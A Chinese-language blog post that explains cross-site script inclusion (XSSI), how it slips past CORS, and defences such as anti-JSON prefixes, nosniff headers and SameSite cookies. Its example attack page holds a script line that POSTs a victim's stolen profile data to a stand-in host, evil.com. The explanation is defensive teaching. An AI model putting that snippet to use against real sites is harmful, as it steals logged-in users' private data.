别让你的接口"被人引用":XSSI
前段时间, 在爬Google Material Symbol的搜索接口的时候, 无意间发现这个文件:
https://fonts.google.com/metadata/icons?key=material_symbols&incomplete=true的返回中有非常奇怪的前缀 (试试看↗), 随即便开始了针对这个现象的探索...
XSSI 是什么?
XSSI 全称 Cross-Site Script Inclusion(跨站脚本包含)。
一句话:攻击者在自己的网页里,用 <script src> 引用你网站的接口,借用户的登录态把数据偷走。
假设你的站点有个接口 https://bank.com/api/profile.js,返回:
var profile = { name: "John Doe Doe", phone: "138xxxx", balance: 9999 };
攻击者做一个页面,诱导已登录的用户访问:
<script src="https://bank.com/api/profile.js"></script>
<script>
// 脚本执行完,全局变量 profile 就在攻击者的页面里了
fetch("https://evil.com/steal", { method: "POST", body: JSON.stringify(profile) });
</script>
浏览器加载 <script> 时会自动带上 bank.com 的 Cookie,服务器以为是用户本人在请求,于是乖乖返回数据。数据被当成 JS 执行,变量落到了攻击者页面的全局作用域里,攻击者就"读"到了本来读不到的东西。
常见的中招场景:
- JSONP 接口(本来就是设计成给别的站点
<script>引用的) - 把数据直接赋值给全局变量的动态 JS
- 返回内容里带用户敏感信息的
.js文件(比如配置、token)
它和 CORS 有什么关系?
要理解这个,先得聊聊同源策略和 CORS。
同源策略(SOP)
浏览器有个基本规矩:协议、域名、端口,三者都相同才算"同源"。不同源的页面,不能读取对方的响应内容。
注意,限制的是"读",不是"发"。请求其实照样发出去了,只是你的 JS 拿不到结果。
CORS 是什么
CORS(跨域资源共享)是服务器主动给同源策略开的口子。服务器在响应头里声明"我允许谁来读":
Access-Control-Allow-Origin: https://my-frontend.com
Access-Control-Allow-Credentials: true
浏览器看到这个头,才放行 fetch / XMLHttpRequest 对响应的读取。补充几个入门必知的点:
- 带 Cookie 的请求,
Allow-Origin不能写*,必须是具体域名 - "非简单请求"(比如带自定义头、
PUT/DELETE)会先发一个OPTIONS预检请求,问服务器"我能这么请求吗"
为什么 <script> 能跨域,别的不行?
先纠正一个常见说法:并不是"JS 能跨域,别的不行",准确说是:
通过标签"嵌入"资源,一直是被允许的;通过
fetch/XHR "读取"跨域响应,默认是被禁止的。
<script>、<img>、<link rel="stylesheet"> 这些标签能跨域加载,是历史包袱:Web 早期大家就习惯从 CDN 引 jQuery、引图片,浏览器不能突然把它们禁掉。
但这里有个关键区别:
<img>加载了别人的图片,你的 JS 读不到像素内容,只是显示出来<script>加载的内容会被执行,执行结果直接进入你的页面环境,相当于间接读到了数据
所以 XSSI 正好落在 CORS 的盲区:CORS 只管 fetch/XHR,管不到 <script src>。你把 CORS 配得再严,攻击者照样能用 script 标签发请求。
防御:XSSI Protection Prefix
最经典的一招:在 JSON 响应前面加一段"毒药前缀",让它作为脚本执行时必然失败。
常见前缀
| 来源 | 前缀 | 作用 |
|---|---|---|
| Google(很多 API) | )]}' |
不是合法 JS,直接语法错误 |
| Angular 官方推荐 | )]}',\n |
同上,前端 HttpClient 会自动剥掉 |
for (;;); |
让脚本陷入死循环,后面的数据永远执行不到 | |
| Google(早期) | while(1); |
同样是死循环 |
原理
服务器返回:
)]}'
{"name":"John Doe","balance":9999}
攻击者用 <script> 加载时: 浏览器把它当 JS 解析,第一行就语法错误(或者卡进死循环),数据根本没机会暴露。
你自己的前端用 fetch 读取时: 因为是同源(或者配了 CORS),可以拿到原始文本,先把前缀去掉,再解析:
const text = await (await fetch("/api/profile")).text();
const data = JSON.parse(text.replace(/^\)\]\}',?\n/, ""));
核心思路就是:合法调用方能"读文本",攻击者只能"执行脚本",我们让文本在执行时必崩,读取时可还原。
别只靠前缀,还有这些手段
- 接口返回正确的
Content-Type: application/json,并加上X-Content-Type-Options: nosniff - 别再用 JSONP 了,需要跨域就老老实实配 CORS
- 敏感接口用 POST + CSRF Token,
<script>标签只能发 GET - Cookie 设置
SameSite=Lax/Strict:现代浏览器默认就是 Lax,跨站的<script>请求不会带 Cookie,这已经挡掉了大部分 XSSI - 别把敏感数据塞进动态
.js文件里
- 本文标题:别让你的接口"被人引用":XSSI
- 本文作者:uygnil
- 本文链接:https://blog.zhoulingyu.net/index.php/archives/34/
- 版权声明:本文采用 CC BY 4.0 协议进行许可
标签:无